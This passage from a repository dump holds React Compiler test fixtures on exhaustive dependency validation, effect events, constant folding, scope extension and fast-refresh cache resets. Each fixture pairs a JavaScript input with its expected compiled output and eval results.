    "content": "// @validateExhaustiveMemoizationDependencies\n\nfunction Component() {\n  const x = 0;\n  const y = useMemo(() => {\n    return [x];\n    // x gets constant-folded but shouldn't count as extraneous,\n    // it was referenced in the memo block\n  }, [x]);\n  return y;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps-allow-nonreactive-stable-types-as-extra-deps.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateExhaustiveMemoizationDependencies @validateExhaustiveEffectDependencies:\"all\"\nimport {\n  useCallback,\n  useTransition,\n  useState,\n  useOptimistic,\n  useActionState,\n  useRef,\n  useReducer,\n  useEffect,\n} from 'react';\n\nfunction useFoo() {\n  const [s, setState] = useState();\n  const ref = useRef(null);\n  const [t, startTransition] = useTransition();\n  const [u, addOptimistic] = useOptimistic();\n  const [v, dispatch] = useReducer(() => {}, null);\n  const [isPending, dispatchAction] = useActionState(() => {}, null);\n\n  useEffect(() => {\n    dispatch();\n    startTransition(() => {});\n    addOptimistic();\n    setState(null);\n    dispatchAction();\n    ref.current = true;\n  }, [\n    // intentionally adding unnecessary deps on nonreactive stable values\n    // to check that they're allowed\n    dispatch,\n    startTransition,\n    addOptimistic,\n    setState,\n    dispatchAction,\n    ref,\n  ]);\n\n  return useCallback(() => {\n    dispatch();\n    startTransition(() => {});\n    addOptimistic();\n    setState(null);\n    dispatchAction();\n    ref.current = true;\n  }, [\n    // intentionally adding unnecessary deps on nonreactive stable values\n    // to check that they're allowed\n    dispatch,\n    startTransition,\n    addOptimistic,\n    setState,\n    dispatchAction,\n    ref,\n  ]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateExhaustiveMemoizationDependencies @validateExhaustiveEffectDependencies:\"all\"\nimport {\n  useCallback,\n  useTransition,\n  useState,\n  useOptimistic,\n  useActionState,\n  useRef,\n  useReducer,\n  useEffect,\n} from \"react\";\n\nfunction useFoo() {\n  const $ = _c(3);\n  const [, setState] = useState();\n  const ref = useRef(null);\n  const [, startTransition] = useTransition();\n  const [, addOptimistic] = useOptimistic();\n  const [, dispatch] = useReducer(_temp, null);\n  const [, dispatchAction] = useActionState(_temp2, null);\n  let t0;\n  let t1;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = () => {\n      dispatch();\n      startTransition(_temp3);\n      addOptimistic();\n      setState(null);\n      dispatchAction();\n      ref.current = true;\n    };\n    t1 = [\n      dispatch,\n      startTransition,\n      addOptimistic,\n      setState,\n      dispatchAction,\n      ref,\n    ];\n    $[0] = t0;\n    $[1] = t1;\n  } else {\n    t0 = $[0];\n    t1 = $[1];\n  }\n  useEffect(t0, t1);\n  let t2;\n  if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t2 = () => {\n      dispatch();\n      startTransition(_temp4);\n      addOptimistic();\n      setState(null);\n      dispatchAction();\n      ref.current = true;\n    };\n    $[2] = t2;\n  } else {\n    t2 = $[2];\n  }\n  return t2;\n}\nfunction _temp4() {}\nfunction _temp3() {}\nfunction _temp2() {}\nfunction _temp() {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"[[ function params=0 ]]\"\nlogs: ['An optimistic state update occurred outside a transition or action. To fix, move the update to an action, or wrap with startTransition.']"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps-allow-nonreactive-stable-types-as-extra-deps.js",
    "content": "// @validateExhaustiveMemoizationDependencies @validateExhaustiveEffectDependencies:\"all\"\nimport {\n  useCallback,\n  useTransition,\n  useState,\n  useOptimistic,\n  useActionState,\n  useRef,\n  useReducer,\n  useEffect,\n} from 'react';\n\nfunction useFoo() {\n  const [s, setState] = useState();\n  const ref = useRef(null);\n  const [t, startTransition] = useTransition();\n  const [u, addOptimistic] = useOptimistic();\n  const [v, dispatch] = useReducer(() => {}, null);\n  const [isPending, dispatchAction] = useActionState(() => {}, null);\n\n  useEffect(() => {\n    dispatch();\n    startTransition(() => {});\n    addOptimistic();\n    setState(null);\n    dispatchAction();\n    ref.current = true;\n  }, [\n    // intentionally adding unnecessary deps on nonreactive stable values\n    // to check that they're allowed\n    dispatch,\n    startTransition,\n    addOptimistic,\n    setState,\n    dispatchAction,\n    ref,\n  ]);\n\n  return useCallback(() => {\n    dispatch();\n    startTransition(() => {});\n    addOptimistic();\n    setState(null);\n    dispatchAction();\n    ref.current = true;\n  }, [\n    // intentionally adding unnecessary deps on nonreactive stable values\n    // to check that they're allowed\n    dispatch,\n    startTransition,\n    addOptimistic,\n    setState,\n    dispatchAction,\n    ref,\n  ]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps-effect-events.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateExhaustiveEffectDependencies:\"all\"\nimport {useEffect, useEffectEvent} from 'react';\n\nfunction Component({x, y, z}) {\n  const effectEvent = useEffectEvent(() => {\n    log(x);\n  });\n\n  const effectEvent2 = useEffectEvent(z => {\n    log(y, z);\n  });\n\n  // ok - effectEvent not included in deps\n  useEffect(() => {\n    effectEvent();\n  }, []);\n\n  // ok - effectEvent2 not included in deps, z included\n  useEffect(() => {\n    effectEvent2(z);\n  }, [z]);\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateExhaustiveEffectDependencies:\"all\"\nimport { useEffect, useEffectEvent } from \"react\";\n\nfunction Component(t0) {\n  const $ = _c(12);\n  const { x, y, z } = t0;\n  let t1;\n  if ($[0] !== x) {\n    t1 = () => {\n      log(x);\n    };\n    $[0] = x;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const effectEvent = useEffectEvent(t1);\n  let t2;\n  if ($[2] !== y) {\n    t2 = (z_0) => {\n      log(y, z_0);\n    };\n    $[2] = y;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  const effectEvent2 = useEffectEvent(t2);\n  let t3;\n  if ($[4] !== effectEvent) {\n    t3 = () => {\n      effectEvent();\n    };\n    $[4] = effectEvent;\n    $[5] = t3;\n  } else {\n    t3 = $[5];\n  }\n  let t4;\n  if ($[6] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t4 = [];\n    $[6] = t4;\n  } else {\n    t4 = $[6];\n  }\n  useEffect(t3, t4);\n  let t5;\n  if ($[7] !== effectEvent2 || $[8] !== z) {\n    t5 = () => {\n      effectEvent2(z);\n    };\n    $[7] = effectEvent2;\n    $[8] = z;\n    $[9] = t5;\n  } else {\n    t5 = $[9];\n  }\n  let t6;\n  if ($[10] !== z) {\n    t6 = [z];\n    $[10] = z;\n    $[11] = t6;\n  } else {\n    t6 = $[11];\n  }\n  useEffect(t5, t6);\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps-effect-events.js",
    "content": "// @validateExhaustiveEffectDependencies:\"all\"\nimport {useEffect, useEffectEvent} from 'react';\n\nfunction Component({x, y, z}) {\n  const effectEvent = useEffectEvent(() => {\n    log(x);\n  });\n\n  const effectEvent2 = useEffectEvent(z => {\n    log(y, z);\n  });\n\n  // ok - effectEvent not included in deps\n  useEffect(() => {\n    effectEvent();\n  }, []);\n\n  // ok - effectEvent2 not included in deps, z included\n  useEffect(() => {\n    effectEvent2(z);\n  }, [z]);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateExhaustiveMemoizationDependencies\nimport {useCallback, useMemo} from 'react';\nimport {makeObject_Primitives, Stringify} from 'shared-runtime';\n\nfunction useHook1(x) {\n  return useMemo(() => {\n    return x?.y.z?.a;\n  }, [x?.y.z?.a]);\n}\nfunction useHook2(x) {\n  useMemo(() => {\n    return x.y.z?.a;\n  }, [x.y.z?.a]);\n}\nfunction useHook3(x) {\n  return useMemo(() => {\n    return x?.y.z.a?.b;\n  }, [x?.y.z.a?.b]);\n}\nfunction useHook4(x, y, z) {\n  return useMemo(() => {\n    return x?.y?.[(console.log(y), z?.b)];\n  }, [x?.y, y, z?.b]);\n}\nfunction useHook5(x) {\n  return useMemo(() => {\n    const e = [];\n    const local = makeObject_Primitives(x);\n    const fn = () => {\n      e.push(local);\n    };\n    fn();\n    return e;\n  }, [x]);\n}\nfunction useHook6(x) {\n  return useMemo(() => {\n    const f = [];\n    f.push(x.y.z);\n    f.push(x.y);\n    f.push(x);\n    return f;\n  }, [x]);\n}\n\nfunction useHook7(x) {\n  const [state, setState] = useState(true);\n  const f = () => {\n    setState(x => !x);\n  };\n  return useCallback(() => {\n    f();\n  }, [f]);\n}\n\nfunction Component({x, y, z}) {\n  const a = useHook1(x);\n  const b = useHook2(x);\n  const c = useHook3(x);\n  const d = useHook4(x, y, z);\n  const e = useHook5(x);\n  const f = useHook6(x);\n  const g = useHook7(x);\n  return <Stringify results={[a, b, c, d, e, f, g]} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateExhaustiveMemoizationDependencies\nimport { useCallback, useMemo } from \"react\";\nimport { makeObject_Primitives, Stringify } from \"shared-runtime\";\n\nfunction useHook1(x) {\n  x?.y.z?.a;\n  return x?.y.z?.a;\n}\n\nfunction useHook2(x) {\n  x.y.z?.a;\n}\n\nfunction useHook3(x) {\n  x?.y.z.a?.b;\n  return x?.y.z.a?.b;\n}\n\nfunction useHook4(x, y, z) {\n  x?.y;\n  z?.b;\n  return x?.y?.[(console.log(y), z?.b)];\n}\n\nfunction useHook5(x) {\n  const $ = _c(2);\n  let e;\n  if ($[0] !== x) {\n    e = [];\n    const local = makeObject_Primitives(x);\n    const fn = () => {\n      e.push(local);\n    };\n\n    fn();\n    $[0] = x;\n    $[1] = e;\n  } else {\n    e = $[1];\n  }\n  return e;\n}\n\nfunction useHook6(x) {\n  const $ = _c(2);\n  let f;\n  if ($[0] !== x) {\n    f = [];\n    f.push(x.y.z);\n    f.push(x.y);\n    f.push(x);\n    $[0] = x;\n    $[1] = f;\n  } else {\n    f = $[1];\n  }\n  return f;\n}\n\nfunction useHook7(x) {\n  const $ = _c(2);\n  const [, setState] = useState(true);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = () => {\n      setState(_temp);\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const f = t0;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = () => {\n      f();\n    };\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\nfunction _temp(x_0) {\n  return !x_0;\n}\n\nfunction Component(t0) {\n  const $ = _c(8);\n  const { x, y, z } = t0;\n  const a = useHook1(x);\n  const b = useHook2(x);\n  const c = useHook3(x);\n  const d = useHook4(x, y, z);\n  const e = useHook5(x);\n  const f = useHook6(x);\n  const g = useHook7(x);\n  let t1;\n  if (\n    $[0] !== a ||\n    $[1] !== b ||\n    $[2] !== c ||\n    $[3] !== d ||\n    $[4] !== e ||\n    $[5] !== f ||\n    $[6] !== g\n  ) {\n    t1 = <Stringify results={[a, b, c, d, e, f, g]} />;\n    $[0] = a;\n    $[1] = b;\n    $[2] = c;\n    $[3] = d;\n    $[4] = e;\n    $[5] = f;\n    $[6] = g;\n    $[7] = t1;\n  } else {\n    t1 = $[7];\n  }\n  return t1;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps.js",
    "content": "// @validateExhaustiveMemoizationDependencies\nimport {useCallback, useMemo} from 'react';\nimport {makeObject_Primitives, Stringify} from 'shared-runtime';\n\nfunction useHook1(x) {\n  return useMemo(() => {\n    return x?.y.z?.a;\n  }, [x?.y.z?.a]);\n}\nfunction useHook2(x) {\n  useMemo(() => {\n    return x.y.z?.a;\n  }, [x.y.z?.a]);\n}\nfunction useHook3(x) {\n  return useMemo(() => {\n    return x?.y.z.a?.b;\n  }, [x?.y.z.a?.b]);\n}\nfunction useHook4(x, y, z) {\n  return useMemo(() => {\n    return x?.y?.[(console.log(y), z?.b)];\n  }, [x?.y, y, z?.b]);\n}\nfunction useHook5(x) {\n  return useMemo(() => {\n    const e = [];\n    const local = makeObject_Primitives(x);\n    const fn = () => {\n      e.push(local);\n    };\n    fn();\n    return e;\n  }, [x]);\n}\nfunction useHook6(x) {\n  return useMemo(() => {\n    const f = [];\n    f.push(x.y.z);\n    f.push(x.y);\n    f.push(x);\n    return f;\n  }, [x]);\n}\n\nfunction useHook7(x) {\n  const [state, setState] = useState(true);\n  const f = () => {\n    setState(x => !x);\n  };\n  return useCallback(() => {\n    f();\n  }, [f]);\n}\n\nfunction Component({x, y, z}) {\n  const a = useHook1(x);\n  const b = useHook2(x);\n  const c = useHook3(x);\n  const d = useHook4(x, y, z);\n  const e = useHook5(x);\n  const f = useHook6(x);\n  const g = useHook7(x);\n  return <Stringify results={[a, b, c, d, e, f, g]} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/existing-variables-with-c-name.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useMemo, useState} from 'react';\nimport {ValidateMemoization} from 'shared-runtime';\n\nfunction Component(props) {\n  const [state] = useState(0);\n  // Test for conflicts with `c` import\n  const c = state;\n  const _c = c;\n  const __c = _c;\n  const c1 = __c;\n  const $c = c1;\n  const array = useMemo(() => [$c], [state]);\n  return <ValidateMemoization inputs={[state]} output={array} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  sequentialRenders: [{}, {}, {}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c2 } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport { useMemo, useState } from \"react\";\nimport { ValidateMemoization } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c2(7);\n  const [state] = useState(0);\n\n  const c = state;\n  const _c = c;\n  const __c = _c;\n  const c1 = __c;\n  const $c = c1;\n  let t0;\n  if ($[0] !== $c) {\n    t0 = [$c];\n    $[0] = $c;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const array = t0;\n  let t1;\n  if ($[2] !== state) {\n    t1 = [state];\n    $[2] = state;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  let t2;\n  if ($[4] !== array || $[5] !== t1) {\n    t2 = <ValidateMemoization inputs={t1} output={array} />;\n    $[4] = array;\n    $[5] = t1;\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  sequentialRenders: [{}, {}, {}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[0],\"output\":[0]}</div>\n<div>{\"inputs\":[0],\"output\":[0]}</div>\n<div>{\"inputs\":[0],\"output\":[0]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/existing-variables-with-c-name.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useMemo, useState} from 'react';\nimport {ValidateMemoization} from 'shared-runtime';\n\nfunction Component(props) {\n  const [state] = useState(0);\n  // Test for conflicts with `c` import\n  const c = state;\n  const _c = c;\n  const __c = _c;\n  const c1 = __c;\n  const $c = c1;\n  const array = useMemo(() => [$c], [state]);\n  return <ValidateMemoization inputs={[state]} output={array} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  sequentialRenders: [{}, {}, {}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/expression-with-assignment-dynamic.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction f(y) {\n  let x = y;\n  return x + (x = 2) + x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: f,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction f(y) {\n  let x = y;\n  return x + (x = 2) + 2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: f,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/expression-with-assignment-dynamic.js",
    "content": "function f(y) {\n  let x = y;\n  return x + (x = 2) + x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: f,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/expression-with-assignment.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction f() {\n  let x = 1;\n  return x + (x = 2) + x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: f,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nfunction f() {\n  return 5;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: f,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) 5"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/expression-with-assignment.js",
    "content": "function f() {\n  let x = 1;\n  return x + (x = 2) + x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: f,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/extend-scopes-if.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b, c) {\n  let x = [];\n  if (a) {\n    if (b) {\n      if (c) {\n        x.push(0);\n      }\n    }\n  }\n  if (x.length) {\n    return x;\n  }\n  return null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo(a, b, c) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== a || $[1] !== b || $[2] !== c) {\n    x = [];\n    if (a) {\n      if (b) {\n        if (c) {\n          x.push(0);\n        }\n      }\n    }\n    $[0] = a;\n    $[1] = b;\n    $[2] = c;\n    $[3] = x;\n  } else {\n    x = $[3];\n  }\n\n  if (x.length) {\n    return x;\n  }\n\n  return null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/extend-scopes-if.js",
    "content": "function foo(a, b, c) {\n  let x = [];\n  if (a) {\n    if (b) {\n      if (c) {\n        x.push(0);\n      }\n    }\n  }\n  if (x.length) {\n    return x;\n  }\n  return null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fast-refresh-dont-refresh-const-changes-prod.expect.md",
    "content": "\n## Input\n\n```javascript\n// @compilationMode:\"infer\"\nimport {useEffect, useMemo, useState} from 'react';\nimport {ValidateMemoization} from 'shared-runtime';\n\nlet pretendConst = 0;\n\nfunction unsafeResetConst() {\n  pretendConst = 0;\n}\n\nfunction unsafeUpdateConst() {\n  pretendConst += 1;\n}\n\nfunction Component() {\n  useState(() => {\n    // unsafe: reset the constant when first rendering the instance\n    unsafeResetConst();\n  });\n  // UNSAFE! changing a module variable that is read by a component is normally\n  // unsafe, but in this case we're simulating a fast refresh between each render\n  unsafeUpdateConst();\n\n  // In production mode (no @enableResetCacheOnSourceFileChanges) memo caches are not\n  // reset unless the deps change\n  const value = useMemo(() => [{pretendConst}], []);\n\n  return <ValidateMemoization inputs={[]} output={value} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  sequentialRenders: [{}, {}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @compilationMode:\"infer\"\nimport { useEffect, useMemo, useState } from \"react\";\nimport { ValidateMemoization } from \"shared-runtime\";\n\nlet pretendConst = 0;\n\nfunction unsafeResetConst() {\n  pretendConst = 0;\n}\n\nfunction unsafeUpdateConst() {\n  pretendConst += 1;\n}\n\nfunction Component() {\n  const $ = _c(2);\n  useState(_temp);\n\n  unsafeUpdateConst();\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [{ pretendConst }];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const value = t0;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = <ValidateMemoization inputs={[]} output={value} />;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\nfunction _temp() {\n  unsafeResetConst();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  sequentialRenders: [{}, {}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[],\"output\":[{\"pretendConst\":1}]}</div>\n<div>{\"inputs\":[],\"output\":[{\"pretendConst\":1}]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fast-refresh-dont-refresh-const-changes-prod.js",
    "content": "// @compilationMode:\"infer\"\nimport {useEffect, useMemo, useState} from 'react';\nimport {ValidateMemoization} from 'shared-runtime';\n\nlet pretendConst = 0;\n\nfunction unsafeResetConst() {\n  pretendConst = 0;\n}\n\nfunction unsafeUpdateConst() {\n  pretendConst += 1;\n}\n\nfunction Component() {\n  useState(() => {\n    // unsafe: reset the constant when first rendering the instance\n    unsafeResetConst();\n  });\n  // UNSAFE! changing a module variable that is read by a component is normally\n  // unsafe, but in this case we're simulating a fast refresh between each render\n  unsafeUpdateConst();\n\n  // In production mode (no @enableResetCacheOnSourceFileChanges) memo caches are not\n  // reset unless the deps change\n  const value = useMemo(() => [{pretendConst}], []);\n\n  return <ValidateMemoization inputs={[]} output={value} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  sequentialRenders: [{}, {}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fast-refresh-refresh-on-const-changes-dev.expect.md",
    "content": "\n## Input\n\n```javascript\n// @compilationMode:\"infer\" @enableResetCacheOnSourceFileChanges @validateExhaustiveMemoizationDependencies:false\nimport {useEffect, useMemo, useState} from 'react';\nimport {ValidateMemoization} from 'shared-runtime';\n\nlet pretendConst = 0;\n\nfunction unsafeResetConst() {\n  pretendConst = 0;\n}\n\nfunction unsafeUpdateConst() {\n  pretendConst += 1;\n}\n\nfunction Component() {\n  useState(() => {\n    // unsafe: reset the constant when first rendering the instance\n    unsafeResetConst();\n  });\n  // UNSAFE! changing a module variable that is read by a component is normally\n  // unsafe, but in this case we're simulating a fast refresh between each render\n  unsafeUpdateConst();\n\n  // TODO: In fast refresh mode (@enableResetCacheOnSourceFileChanges) Forget should\n  // reset on changes to globals that impact the component/hook, effectively memoizing\n  // as if value was reactive. However, we don't want to actually treat globals as\n  // reactive (though that would be trivial) since it could change compilation too much\n  // btw dev and prod. Instead, we should reset the cache via a secondary mechanism.\n  const value = useMemo(() => [{pretendConst}], [pretendConst]);\n\n  return <ValidateMemoization inputs={[pretendConst]} output={value} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  sequentialRenders: [{}, {}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @compilationMode:\"infer\" @enableResetCacheOnSourceFileChanges @validateExhaustiveMemoizationDependencies:false\nimport { useEffect, useMemo, useState } from \"react\";\nimport { ValidateMemoization } from \"shared-runtime\";\n\nlet pretendConst = 0;\n\nfunction unsafeResetConst() {\n  pretendConst = 0;\n}\n\nfunction unsafeUpdateConst() {\n  pretendConst += 1;\n}\n\nfunction Component() {\n  const $ = _c(3);\n  if (\n    $[0] !== \"36c02976ff5bc474b7510128ea8220ffe31d92cd5d245148ed0a43146d18ded4\"\n  ) {\n    for (let $i = 0; $i < 3; $i += 1) {\n      $[$i] = Symbol.for(\"react.memo_cache_sentinel\");\n    }\n    $[0] = \"36c02976ff5bc474b7510128ea8220ffe31d92cd5d245148ed0a43146d18ded4\";\n  }\n  useState(_temp);\n\n  unsafeUpdateConst();\n  let t0;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [{ pretendConst }];\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const value = t0;\n  let t1;\n  if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = <ValidateMemoization inputs={[pretendConst]} output={value} />;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\nfunction _temp() {\n  unsafeResetConst();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  sequentialRenders: [{}, {}],\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fast-refresh-refresh-on-const-changes-dev.js",
    "content": "// @compilationMode:\"infer\" @enableResetCacheOnSourceFileChanges @validateExhaustiveMemoizationDependencies:false\nimport {useEffect, useMemo, useState} from 'react';\nimport {ValidateMemoization} from 'shared-runtime';\n\nlet pretendConst = 0;\n\nfunction unsafeResetConst() {\n  pretendConst = 0;\n}\n\nfunction unsafeUpdateConst() {\n  pretendConst += 1;\n}\n\nfunction Component() {\n  useState(() => {\n    // unsafe: reset the constant when first rendering the instance\n    unsafeResetConst();\n  });\n  // UNSAFE! changing a module variable that is read by a component is normally\n  // unsafe, but in this case we're simulating a fast refresh between each render\n  unsafeUpdateConst();\n\n  // TODO: In fast refresh mode (@enableResetCacheOnSourceFileChanges) Forget should\n  // reset on changes to globals that impact the component/hook, effectively memoizing\n  // as if value was reactive. However, we don't want to actually treat globals as\n  // reactive (though that would be trivial) since it could change compilation too much\n  // btw dev and prod. Instead, we should reset the cache via a secondary mechanism.\n  const value = useMemo(() => [{pretendConst}], [pretendConst]);\n\n  return <ValidateMemoization inputs={[pretendConst]} output={value} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  sequentialRenders: [{}, {}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fast-refresh-reloading.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableResetCacheOnSourceFileChanges\nimport {useMemo, useState} from 'react';\nimport {ValidateMemoization} from 'shared-runtime';\n\nfunction Component(props) {\n  const [state, setState] = useState(0);\n  const doubled = useMemo(() => [state * 2], [state]);\n  return <ValidateMemoization inputs={[state]} output={doubled} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  sequentialRenders: [{}, {}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableResetCacheOnSourceFileChanges\nimport { useMemo, useState } from \"react\";\nimport { ValidateMemoization } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(8);\n  if (\n    $[0] !== \"20945b0193e529df490847c66111b38d7b02485d5b53d0829ff3b23af87b105c\"\n  ) {\n    for (let $i = 0; $i < 8; $i += 1) {\n      $[$i] = Symbol.for(\"react.memo_cache_sentinel\");\n    }\n    $[0] = \"20945b0193e529df490847c66111b38d7b02485d5b53d0829ff3b23af87b105c\";\n  }\n  const [state] = useState(0);\n  const t0 = state * 2;\n  let t1;\n  if ($[1] !== t0) {\n    t1 = [t0];\n    $[1] = t0;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  const doubled = t1;\n  let t2;\n  if ($[3] !== state) {\n    t2 = [state];\n    $[3] = state;\n    $[4] = t2;\n  } else {\n    t2 = $[4];\n  }\n  let t3;\n  if ($[5] !== doubled || $[6] !== t2) {\n    t3 = <ValidateMemoization inputs={t2} output={doubled} />;\n    $[5] = doubled;\n    $[6] = t2;\n    $[7] = t3;\n  } else {\n    t3 = $[7];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  sequentialRenders: [{}, {}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[0],\"output\":[0]}</div>\n<div>{\"inputs\":[0],\"output\":[0]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fast-refresh-reloading.js",
